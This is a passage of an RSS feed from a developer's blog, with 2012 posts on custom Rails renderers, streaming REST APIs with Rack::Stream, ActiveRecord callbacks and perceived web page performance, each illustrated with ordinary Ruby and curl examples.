back, it was fun to read posts for when I started at a new workplace.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="/articles/2008/09/16/coupa-and-rails2"&gt;Coupa and Rails 2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/articles/2009/10/30/first-month-of-first-startup"&gt;Starting my own Company Outspokes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/articles/2010/06/14/starting-at-intridea"&gt;New Beginnings: Starting with Intridea&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Going Forward&lt;/h2&gt;&lt;p&gt;While my technical skills have improved since those early posts,
I still have much to learn. I'm happy that I'm just as excited
to design and program today as I was when I first started. If anything,
the past projects and problems I've tackled have opened up a whole
new realm of challenges for me to take on. I'm excited to see where
I'll go next - both as a developer, and as an individual.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/nlgN3GCWMao" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Thu, 5 Jul 2012 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/nlgN3GCWMao/blogging-reboot-lessons-learned</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2012/07/05/blogging-reboot-lessons-learned</feedburner:origLink></item>
    <item>
      <title>And You Thought Render Farms Were Just For Pixar!</title>
      <description>&lt;p&gt;Rails views are typically rendered after some controller action is executed. But the code that powers Rails controllers is flexible and extensible enough to create custom rendering objects that can reuse views and helpers, but live outside of web request processing. In this post, I'll cover what a Rails controller is and what it's composed of. I'll also go over how to extend it to create your own custom renderers, and show an example of how you can render views in your background jobs and push the results to your frontend.&lt;/p&gt;&lt;h2&gt;What's a Controller?&lt;/h2&gt;&lt;p&gt;A Rails controller is a subclass of &lt;code&gt;ActionController::Base&lt;/code&gt;. The &lt;a href="http://api.rubyonrails.org/classes/ActionController/Base.html"&gt;documentation&lt;/a&gt; says:&lt;/p&gt;&lt;blockquote&gt;
&lt;p&gt;Action Controllers are the core of a web request in Rails. They are made up of one or more actions that are executed on request and then either render a template or redirect to another action. An action is defined as a public method on the controller, which will automatically be made accessible to the web-server through Rails Routes.&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;While &lt;code&gt;Base&lt;/code&gt; suggests that this is a root class, it actually inherits from &lt;code&gt;ActionController::Metal&lt;/code&gt; and &lt;code&gt;AbstractController::Base&lt;/code&gt;. Also, some of the core features such as rendering and redirection are actually mixins. Visually, this class hierarchy looks something like:&lt;/p&gt;&lt;p&gt;&lt;img src="http://f.cl.ly/items/1b1Z2N0k0r3H1a3t3f0P/Screen%20Shot%202012-06-12%20at%209.38.55%20PM.png"&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;ActionController::Metal&lt;/code&gt; is a stripped down version of what we know as controllers. It's a &lt;a href="http://guides.rubyonrails.org/rails_on_rack.html"&gt;rackable&lt;/a&gt; object that understands HTTP. By default though, it doesn't have know anything about rendering, redirection, or route paths.&lt;/p&gt;&lt;p&gt;&lt;code&gt;AbstractController::Base&lt;/code&gt; is one layer above &lt;code&gt;Metal&lt;/code&gt;. This class dispatches calls to known actions and knows about a generic response body. An &lt;code&gt;AbstractController::Base&lt;/code&gt; doesn't assume it's being used in an HTTP request context. In fact, if we peek at the source code for &lt;a href="http://api.rubyonrails.org/classes/ActionMailer/Base.html"&gt;actionmailer&lt;/a&gt;, we'll see that it's a subclass of &lt;code&gt;AbstractController::Base&lt;/code&gt;, but used in the context of generating emails rather than processing HTTP requests.&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;module ActionMailer
  class Base &amp;lt; AbstractController::Base
    include AbstractController::Logger
    include AbstractController::Rendering  # &amp;lt;- ActionController::Base also uses
    include AbstractController::Layouts    # &amp;lt;- these mixins, but for generating
    include AbstractController::Helpers    # &amp;lt;- HTTP response bodies, instead of email response bodies
    include AbstractController::Translation
    include AbstractController::AssetPaths
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Custom Controller for Background Job Rendering&lt;/h2&gt;&lt;p&gt;For a recent project, I needed to execute flight searches in background jobs against an external API. Initially, I planned to push the search results as a json object and render everything client-side, but I wanted to reuse existing Rails views, helpers, and route path helpers without redefining them in the frontend. Also, because of differing client performance, rendering server-side &lt;a href="http://engineering.twitter.com/2012/05/improving-performance-on-twittercom.html"&gt;improves page load times for users&lt;/a&gt; in this instance. Architecturally, what I wanted looks like:&lt;/p&gt;&lt;p&gt;&lt;img src="http://f.cl.ly/items/0m082R153Z2D3L1A0t1h/Screen%20Shot%202012-06-12%20at%209.47.36%20PM.png"&gt;&lt;/p&gt;&lt;p&gt;The requirements for this custom controller were:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;access to route helpers&lt;/li&gt;
&lt;li&gt;renders templates and partials in app/views&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Unlike a full blown &lt;code&gt;ActionController&lt;/code&gt;, this custom controller doesn't need to understand HTTP. All it needs is the result of the flight search from background workers to be able to render an html response.&lt;/p&gt;&lt;p&gt;The full code for the custom controller is:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;class SearchRenderer &amp;lt; AbstractController::Base
  include Rails.application.routes.url_helpers  # rails route helpers
  include Rails.application.helpers             # rails helpers under app/helpers

  # Add rendering mixins
  include AbstractController::Rendering
  include AbstractController::Logger

  # Setup templates and partials search path
  append_view_path "#{Rails.root}/app/views"

  # Instance variables are available in the views,
  # so we save the variables we want to access in the views
  def initialize(search_results)
    @search_results = search_results
  end

  # running this action will render 'app/views/search_renderer/foo.html.erb'
  # with @search_results, and route helpers available in the views.
  def execute
    render :action =&amp;gt; 'foo'
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A runnable example of this source code is available at &lt;a href="https://github.com/jch/custom-controller-renderer"&gt;this github repository&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Breaking down the above code, the first thing we do is inherit from &lt;code&gt;AbstractController::Base&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;class SearchRenderer &amp;lt; AbstractController::Base
  def initialize(search_results)
    @search_results = search_results
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We also save the search results in an instance variable so that our templates can access them later.&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;  include Rails.application.routes.url_helpers  # rails route helpers
  include Rails.application.helpers             # rails helpers under app/helpers
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;These methods return Rails route helpers like &lt;code&gt;resource_path&lt;/code&gt; and &lt;code&gt;resource_url&lt;/code&gt;, and also any helpers defined in &lt;code&gt;app/helpers&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Next we add the mixins we need to be able to call the &lt;code&gt;#render&lt;/code&gt; controller method. Calling &lt;code&gt;#append_view_path&lt;/code&gt; sets up the view lookup path to be the same as our Rails controller views lookup path.&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;  include AbstractController::Rendering
  include AbstractController::Logger

  append_view_path "#{Rails.root}/app/views"
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then we define a controller action named &lt;code&gt;execute&lt;/code&gt; that'll render out the response as a string. The &lt;code&gt;#render&lt;/code&gt; method used here is very similar to the one used by &lt;code&gt;ActionController&lt;/code&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;  def execute
    render :action =&amp;gt; 'foo'
  end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To use this renderer object, you need to initialize it with a search results object, and call &lt;code&gt;#execute&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;search_results = [{:foo =&amp;gt; "bar"}, {:foo =&amp;gt; "baz"}]
renderer = SearchRenderer.new(search_results)
renderer.execute
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;Rails ActionControllers are specific to HTTP, but its abstract parent class can be used to construct objects for generic controller objects for coordinating actions outside of an HTTP context. Custom controller objects can be composed with the available mixins to add common functionality such as rendering. These custom controllers can also share code with existing Rails applications DRY up templates and helpers.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/R1sctgPJl_U" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Thu, 14 Jun 2012 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/R1sctgPJl_U/and-you-thought-render-farms-were-just-for-pixar</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2012/06/14/and-you-thought-render-farms-were-just-for-pixar</feedburner:origLink></item>
    <item>
      <title>Building Streaming REST APIs with Ruby</title>
      <description>&lt;p&gt;&lt;img align="right" src="/images/ben-and-jerrys-ice-cream.png"&gt;
Twitter popularized the term "firehose API", to mean a realtime stream of data sent through a persistent connection. But even if you're not a realtime service, streaming APIs are great for pushing data from the backend to clients. They reduce resource usage because the server can decide when it's a good time to send a incremental chunk of data. They can also improve the responsiveness of your user experience.  The same HTTP API can be reused to power multiple different apps. For example, you could write your web frontend with a Javascript frameworks like &lt;a href="http://documentcloud.github.com/backbone/"&gt;Backbone.js&lt;/a&gt;, but reuse the same API to power a native iOS application. Follow the jump to read about how streaming APIs work, and how you can write one with &lt;a href="https://github.com/intridea/rack-stream"&gt;Rack::Stream&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;TL;DR&lt;/h3&gt;&lt;p&gt;&lt;a href="https://github.com/intridea/rack-stream"&gt;Rack::Stream&lt;/a&gt; is rack middleware that lets you write streaming API endpoints that understand HTTP, WebSockets, and EventSource. It comes with a DSL and can be used alongside other rackable web frameworks such as Sinatra and Grape.&lt;/p&gt;&lt;h3&gt;What's Streaming HTTP?&lt;/h3&gt;&lt;p&gt;Normally, when an HTTP request is made, the server closes the connection when it's done processing the request. For streaming HTTP, also known as &lt;a href="http://en.wikipedia.org/wiki/Comet_(programming"&gt;Comet&lt;/a&gt;), the main difference is that the server doesn't close the connection and can continue sending data to the client at a later time.&lt;/p&gt;&lt;p&gt;&lt;img src="http://f.cl.ly/items/2P0y3O0O1D0V211b2p40/normal-http.png" alt="normal http"&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://f.cl.ly/items/0u031f1N0X1p3M3X1t0B/streaming-http.png" alt="streaming http"&gt;&lt;/p&gt;&lt;p&gt;To prevent the connection from closing, rack-stream uses Thin's &lt;a href="http://macournoyer.com/blog/2009/06/04/pusher-and-async-with-thin/"&gt;'async.callback'&lt;/a&gt; to defer closing the connection until either the server decides to close the connection, or the client disconnects.&lt;/p&gt;&lt;h3&gt;Rack::Stream&lt;/h3&gt;&lt;p&gt;&lt;a href="https://github.com/intridea/rack-stream"&gt;Rack::Stream&lt;/a&gt; is rack middleware that lets you write streaming HTTP endpoints that can understand multiple protocols. Multiple protocols means that you can write an API endpoint that works with curl, but that same endpoint would also works with WebSockets in the browser. The simplest streaming API you can make is:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;# config.ru
# run with `thin start -p 9292`
require 'rack-stream'

class App
  def call(env)
    [200, {'Content-Type' =&amp;gt; 'text/plain'}, ["Hello", " ", "World"]]
  end
end

use Rack::Stream
run App
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you ran this basic rack app, you could then use curl to stream it's response:&lt;/p&gt;&lt;pre&gt;&lt;code class="sh"&gt;&amp;gt; curl -i -N http://localhost:9292/

HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked
Connection: close
Server: thin 1.3.1 codename Triple Espresso

Hello World
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This isn't very exciting, but you'll notice that the &lt;code&gt;Transfer-Encoding&lt;/code&gt; for the response is set to &lt;code&gt;chunked&lt;/code&gt;. By default, rack-stream will take any downstream application's response bodies and stream them over in chunks. You can read more about &lt;a href="http://en.wikipedia.org/wiki/Chunked_transfer_encoding"&gt;chunked transfer encoding on Wikipedia&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Let's spice it up a bit and build an actual firehose. This next application will keep sending data to the client until the client disconnects:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;require 'rack-stream'

class Firehose
  include Rack::Stream::DSL

  def call(env)
    EM.add_periodic_timer(0.1) {
      chunk "\nChunky Monkey"
    }
    [200, {'Content-Type' =&amp;gt; 'text/plain'}, ['Hello']]
  end
end

use Rack::Stream
run Firehose
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The first thing to notice is the Firehose rack endpoint includes &lt;code&gt;Rack::Stream::DSL&lt;/code&gt;. This are convenience methods that allow you to access &lt;code&gt;env['rack.stream']&lt;/code&gt;, which is injected into &lt;code&gt;env&lt;/code&gt; whenever you &lt;code&gt;use Rack::Stream&lt;/code&gt;. When a request comes in, the &lt;code&gt;#call&lt;/code&gt; method schedules a timer that runs every 0.1 seconds and uses the &lt;code&gt;#chunk&lt;/code&gt; method to stream data. If you run curl, you would see:&lt;/p&gt;&lt;pre&gt;&lt;code class="sh"&gt;&amp;gt; curl -i -N http://localhost:9292/

HTTP/1.1 200 OK
Transfer-Encoding: chunked
Connection: close
Server: thin 1.3.1 codename Triple Espresso

Hello
Chunky Monkey
Chunky Monkey
Chunky Monkey
# ... more monkeys
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;rack-stream also allows you to register callbacks for manipulating response chunks, and controlling when something is sent with different callbacks. Here's a more advanced example with callbacks added:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;require 'rack-stream'

class Firehose
  include Rack::Stream::DSL

  def call(env)
    after_open do
      chunk "\nChunky Monkey"
      close  # start closing the connection
    end

    before_chunk do |chunks|
      chunks.map(&amp;amp;:upcase)  # manipulate chunks
    end

    before_close do
      chunk "\nGoodbye!"  # send something before we close
    end

    [200, {'Content-Type' =&amp;gt; 'text/plain'}, ['Hello']]
  end
end

use Rack::Stream
run Firehose
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you ran curl now, you would see:&lt;/p&gt;&lt;pre&gt;&lt;code class="sh"&gt;&amp;gt; curl -i -N http://localhost:9292/

HTTP/1.1 200 OK
Transfer-Encoding: chunked
Connection: close
Server: thin 1.3.1 codename Triple Espresso

HELLO
CHUNKY MONKEY
GOODBYE!
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For details about the callbacks, see &lt;a href="https://github.com/intridea/rack-stream"&gt;the project page&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Up until this point, I've only used curl to demonstrate hitting the rack endpoint, but one of the big benefits of rack-stream is that it'll automatically recognize WebSocket and EventSource requests and stream through those as well. For example, you could write an html file that accesses that same endpoint:&lt;/p&gt;&lt;pre&gt;&lt;code class="html"&gt;&amp;lt;html&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;script type='text/javascript'&amp;gt;
    var socket       = new WebSocket('ws://localhost:9292/');
    socket.onopen    = function()  {alert("socket opened")};
    socket.onmessage = function(m) {alert(m.data)};
    socket.onclose   = function()  {alert("socket closed")};
  &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Whether you access the endpoint with curl, ajax, or WebSockets, your backend API logic doesn't have to change.&lt;/p&gt;&lt;p&gt;For the last example, I'll show a basic chat application using Grape and Rails. The &lt;a href="https://github.com/intridea/rack-stream/tree/master/examples"&gt;full runnable source&lt;/a&gt; is included in the &lt;code&gt;examples/rails&lt;/code&gt; directory.&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;require 'grape'
require 'rack/stream'
require 'redis'
require 'redis/connection/synchrony'

class API &amp;lt; Grape::API
  default_format :txt

  helpers do
    include Rack::Stream::DSL

    def redis
      @redis ||= Redis.new
    end

    def build_message(text)
      redis.rpush 'messages', text
      redis.ltrim 'messages', 0, 50
      redis.publish 'messages', text
      text
    end
  end

  resources :messages do
    get do
      after_open do
        # subscribe after_open b/c this runs until the connection is closed
        redis.subscribe 'messages' do |on|
          on.message do |channel, msg|
            chunk msg
          end
        end
      end

      status 200
      header 'Content-Type', 'application/json'
      chunk *redis.lrange('messages', 0, 50)
      ""
    end

    post do
      status 201
      build_message(params[:text])
    end
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This example uses redis pubsub to push out messages that are created from &lt;code&gt;#post&lt;/code&gt;. Thanks to &lt;a href="http://www.igvita.com/2010/03/22/untangling-evented-code-with-ruby-fibers/"&gt;em-synchrony&lt;/a&gt;, requests are not blocked when no messages are being sent. It's important do the redis subscribe after the connection has been opened. Otherwise, the initial response won't be sent.&lt;/p&gt;&lt;h3&gt;What about socket.io?&lt;/h3&gt;&lt;p&gt;socket.io is great because it provides many transport fallbacks to give maximum compatibility with many different browsers, but its pubsub interface is too low level for capturing common app semantics. The application developer doesn't have nice REST features like HTTP verbs, resource URIs, parameter and response encoding, and request headers.&lt;/p&gt;&lt;p&gt;The goal of rack-stream is to provide clean REST-like semantics when you're developing, but allow you to swap out different transport protocols. Currently, it supports normal HTTP, WebSockets, and EventSource. But the goal is to support more protocols over time and allow custom protocols. This architecture allows socket.io to become another protocol handler that can be plugged into rack-stream. If you wanted to use Pusher as a protocol, that could also be written as a handler for rack-stream.&lt;/p&gt;&lt;h3&gt;Summary&lt;/h3&gt;&lt;p&gt;rack-stream aims to be a thin abstraction that lets Ruby developers write streaming APIs with their preferred frameworks. I plan to broaden support and test against common use cases and popular frameworks like Sinatra and Rails. If you have any questions or comments, feel free to &lt;a href="https://github.com/intridea/rack-stream/issues"&gt;submit an issue&lt;/a&gt; or leave a comment below!&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/MsBYCm-g7hA" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Thu, 24 May 2012 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/MsBYCm-g7hA/building-streaming-rest-apis-with-ruby</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2012/05/24/building-streaming-rest-apis-with-ruby</feedburner:origLink></item>
    <item>
      <title>Define Custom Callbacks for ActiveRecord and More</title>
      <description>&lt;p&gt;Rails ActiveRecord models have a lifecycle that developers are allowed to hook into. But while most of us know about &lt;code&gt;before_save&lt;/code&gt; and &lt;code&gt;after_update&lt;/code&gt;, there are a few lesser unknown callbacks that are good to know about before you reinvent them. In this post, I'll cover all of the available ActiveRecord lifecycle callbacks, and also show how you can define custom callbacks for normal ruby objects.&lt;/p&gt;&lt;h2&gt;Meet the Callbacks&lt;/h2&gt;&lt;p&gt;The Rails guide for &lt;a href="http://guides.rubyonrails.org/active_record_validations_callbacks.html"&gt;ActiveRecord Validations and Callbacks&lt;/a&gt; is a good starting point for an introduction of the available callbacks and what they do. Most developers will be familiar with the validation and persistence callbacks, so let's start with these&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;:before_validation, :after_validation
:before_save, :after_save
:before_create, :after_create
:before_update, :after_update
:before_destroy, :after_destroy
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The callbacks above are self explanatory and commonly used, but if you're unfamiliar with them, or need a refresher, check out &lt;a href="http://guides.rubyonrails.org/active_record_validations_callbacks.html"&gt;the Rails guide on the topic&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Around Callbacks&lt;/h2&gt;&lt;p&gt;For &lt;code&gt;save&lt;/code&gt;, &lt;code&gt;create&lt;/code&gt;, &lt;code&gt;update&lt;/code&gt;, and &lt;code&gt;destroy&lt;/code&gt;, Rails also gives extra helper methods for defining both a before and after save callback at the same time.&lt;/p&gt;&lt;p&gt;For example, suppose you wanted to trigger your own custom callback while a model was being destroyed. You can do so by defining and triggering your own callback as follows:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;class SomeModel &amp;lt; ActiveRecord::Base
  define_callbacks :custom_callback

  around_destroy :around_callback

  def around_callback
    run_callbacks :custom_callback do
      yield  # runs the actual destroy here
    end
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Custom Callbacks without ActiveRecord&lt;/h2&gt;&lt;p&gt;Most of the time, your Rails models will be using &lt;a href="http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/"&gt;ActiveModel&lt;/a&gt;, but sometimes it makes sense to use a plain old ruby object. Wouldn't it be nice if we could define callbacks in the same way? Fortunately, the callback system is neatly abstracted into &lt;a href="http://api.rubyonrails.org/classes/ActiveSupport/Callbacks.html"&gt;ActiveSupport::Callbacks&lt;/a&gt; so it's easy to mix into any ruby class.&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;# Look Ma, I'm just a normal ruby class!
class Group
  include ActiveSupport::Callbacks
  define_callbacks :user_added

  def initialize(opts = {})
    @users = []
  end

  # Whenever we add a new user to our array, we wrap the code
  # with `run_callbacks`. This will run any defined callbacks
  # in order.
  def add_user(u)
    run_callbacks :user_added do
      @users &amp;lt;&amp;lt; u
    end
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For a fully documented and runnable example, check out &lt;a href="https://github.com/jch/as_callbacks_tutorial"&gt;this github project&lt;/a&gt;. It'll also give some extra explanation about call order and inheritance.&lt;/p&gt;&lt;h2&gt;Other Useful Callbacks&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;:after_initialize&lt;/strong&gt; is called right after an object has been unmarshalled from the database. This allows you to do any other custom initialization you want. Instead of defining an &lt;code&gt;initialize&lt;/code&gt; method on a model, use this instead.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;:after_find&lt;/strong&gt; hasn't been useful in my experience. I haven't run into a case where I wanted to manipulate documents after a find action. It could potentially be useful for metrics and profiling.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;:after_touch&lt;/strong&gt;. ActiveRecord allows you to &lt;a href="http://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-touch"&gt;touch a record&lt;/a&gt; or its association to refresh its &lt;code&gt;updated_at&lt;/code&gt; attribute. I've found this callback useful to triggering notifications to users after a model has been marked as updated, but not actually changed.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;:after_commit&lt;/strong&gt; is an interesting and tricky callback. Whenever ActiveRecord wants to make a change to a record (create, update, destroy), it wraps it around a transaction. &lt;code&gt;after_commit&lt;/code&gt; is called after you're positive that something has been written out to the database. Because it is also called for destroys, it makes sense to scope the callback if you intend to use it only for saves. Be warned that after_commit can be tricky to use if you're using nested transactions. That'll probably be the topic of another post though.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;pre&gt;&lt;code class="ruby"&gt;# call for creates, updates, and deletes
after_commit :all_callback

# call for creates and updates
after_commit :my_callback, :if =&amp;gt; :persisted?
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;:after_rollback&lt;/strong&gt; is the complement to &lt;code&gt;after_commit&lt;/code&gt;. I haven't used it yet, but I can see it as being useful for doing manual cleanup after a failed transaction.&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Go Forth and Callback!&lt;/h2&gt;&lt;p&gt;While many of our models will be backed with ActiveRecord, or some ActiveModel compatitible datastore, it's nice to see how easy it is to follow a similar pattern in normal ruby without having to depend on Rails.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/eO9iTRcxMnI" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Thu, 22 Mar 2012 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/eO9iTRcxMnI/define-custom-callbacks-for-activerecord-and-more</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2012/03/22/define-custom-callbacks-for-activerecord-and-more</feedburner:origLink></item>
    <item>
      <title>Real Web Performance for Users, not Robots</title>
      <description>&lt;p&gt;&lt;em&gt;Republished from &lt;a href="http://blog.opperator.com"&gt;Opperator blog&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;If I told you that a page took 130 requests to load 170 KB of data? Would you
call that a slow page?&lt;/p&gt;&lt;p&gt;&lt;img src="/images/real-web-requests.png" alt="130 requests for 170 KB of data"&gt;&lt;/p&gt;&lt;p&gt;This is a trick question, and the numbers I gave are a double red herring. A
page is slow when it &lt;strong&gt;feels&lt;/strong&gt; slow to a user. Without having opened up the
page for yourself in a browser, you can't have a real answer.&lt;/p&gt;&lt;p&gt;But if your gut reaction was "yeah, that's &lt;em&gt;damn&lt;/em&gt; slow", I wouldn't blame ya.
It sounds like a ton of requests for the amount of data being transferred. To
disprove that the page is slow, here's a screenshot of the requests in Chrome:&lt;/p&gt;&lt;p&gt;&lt;img src="/images/real-web-chrome.png" alt="Chrome network inspector showing list of requests running in parallel"&gt;&lt;/p&gt;&lt;p&gt;The page is question is the index page to my Facebook profile. Notice how
almost all of the requests are being sent in parallel, and most of them
finishing concurrently before the actual page skeleton has finished receiving
the data.&lt;/p&gt;&lt;p&gt;As web developers, we've internalized two guidelines:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;minimize the number of requests&lt;/li&gt;
&lt;li&gt;reduce the size of the response&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;By themselves, these are good guidelines for web throughput performance. Where
we go wrong is when these guidelines are applied without considering how the
user will perceive the page load. There are times where it makes sense to have
&lt;strong&gt;more requests&lt;/strong&gt; rather than fewer in order to reduce page load times. What
we should prioritize is page &lt;strong&gt;latency&lt;/strong&gt; rather than page &lt;strong&gt;throughput&lt;/strong&gt;.
Facebook wrote a great &lt;a href="http://www.facebook.com/note.php?note_id=389414033919"&gt;blog
post&lt;/a&gt; on this subject.
They decomposed a large monolithic page into a bunch of independent 'pagelets'
which can be generated, fetched, and rendered independently of one another.&lt;/p&gt;&lt;p&gt;With &lt;a href="http://opperator.com"&gt;Opperator&lt;/a&gt;, we recognize speed as a feature. And by designing our
architecture to be a set of loosely coupled services from day one, it was
natural and easy to make our pages feel fast. On top of the advice listed by
Facebook, here are some tips and notes about how we keep our pages speedy.&lt;/p&gt;&lt;h4&gt;Serve What You Need&lt;/h4&gt;&lt;p&gt;Don't serve a giant JSON object of all a resource with all of it's
associations. Instead, serve only what you need, when you need it. For
example, in our models, a Project has many Services. But when you make a
request for a Project, the JSON response only includes a list of Service id's
rather than the full JSON for the Project. Of course, sometimes it makes sense
to pre-fetch associated objects, but this shouldn't be the default case.&lt;/p&gt;&lt;h4&gt;Serve and Render Visible Things First&lt;/h4&gt;&lt;p&gt;As users, we don't feel page throughput, we feel page latency. It's ok for
your page to take slightly longer time to load, as long as everything the user
cares about can be seen as quickly and as smoothly as possible. The priority
we choose to serve our content is:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;CSS&lt;/strong&gt; goes first to make sure the rendering of the page feels smooth and
natural. We don't want any flashes of unstyled elements.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;HTML page skeleton&lt;/strong&gt; is loaded next to give overall structure and flat
content to the site. Flat content anything that isn't session dependent or
javascript dependent. Having this structure static will also help your SEO
rankings because no dynamic content rendering needs to happen server side.
This topic deserves it's own separate blog post.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Javascript&lt;/strong&gt; is compressed loaded with &lt;a href="http://requirejs.org/"&gt;require.js&lt;/a&gt;
asynchronously with web modules. Javascript builds all the interactive
elements on the page.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Images&lt;/strong&gt; are sprited and loaded as late as possible, with the exception of
anything that makes the page reflow and jerk.&lt;/p&gt;&lt;h4&gt;Render Client-Side&lt;/h4&gt;&lt;p&gt;Our business logic lives within a &lt;a href="http://github.com/intridea/grape"&gt;Grape&lt;/a&gt;
API. The initial page load is a static HTML skeleton that is then bound to
Javascript event handlers which will populate the content from the API
backend. We use &lt;a href=""&gt;Ember.js&lt;/a&gt; (aka Sproutcore 2.0) to control and render all
the frontend interaction.&lt;/p&gt;&lt;h4&gt;Skip Duplicate Work&lt;/h4&gt;&lt;p&gt;Set your &lt;a href="http://tomayko.com/writings/things-caches-do"&gt;HTTP cache headers&lt;/a&gt;
properly. If nothing has changed, then your backend doesn't have to regenerate
a full response. Better yet, if something can safely be cached for longer,
then your backend might not be hit at all.&lt;/p&gt;&lt;h4&gt;CDN Your Static Assets&lt;/h4&gt;&lt;p&gt;Think of a CDN as a proxy layer in front of your app. By offloading your
static assets into the CDN, your app no longer has to worry about serving
those static assets. Not only is it less work and bandwidth on your backend,
it's also faster for your users since the CDN's edge servers will be
physically closer to your users. Two low-cost CDN providers worth checking out
are:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a href="https://www.cloudflare.com/"&gt;Cloudflare&lt;/a&gt;&lt;/strong&gt; is a relative newcomer to the
arena. They range from &lt;strong&gt;free&lt;/strong&gt; to $20/mo for your first site. That's hard to
beat.&lt;/p&gt;&lt;p&gt;If you store your static assets in S3, then &lt;strong&gt;&lt;a href="http://aws.amazon.com/cloudfront/"&gt;Amazon
Cloudfront&lt;/a&gt;&lt;/strong&gt; is worth a look. It allows
you to configure serving S3 assets through their CDN. Pricing is based on
usage.&lt;/p&gt;&lt;h4&gt;Defining "Fast Enough"&lt;/h4&gt;&lt;p&gt;Our website is actually deployed to a different server than our API.
Technically, we could get a performance boost if they lived on the same box to
cut down on network latency. But we decided to tradeoff network latency for
clean separation of systems. There's always room down the line for further
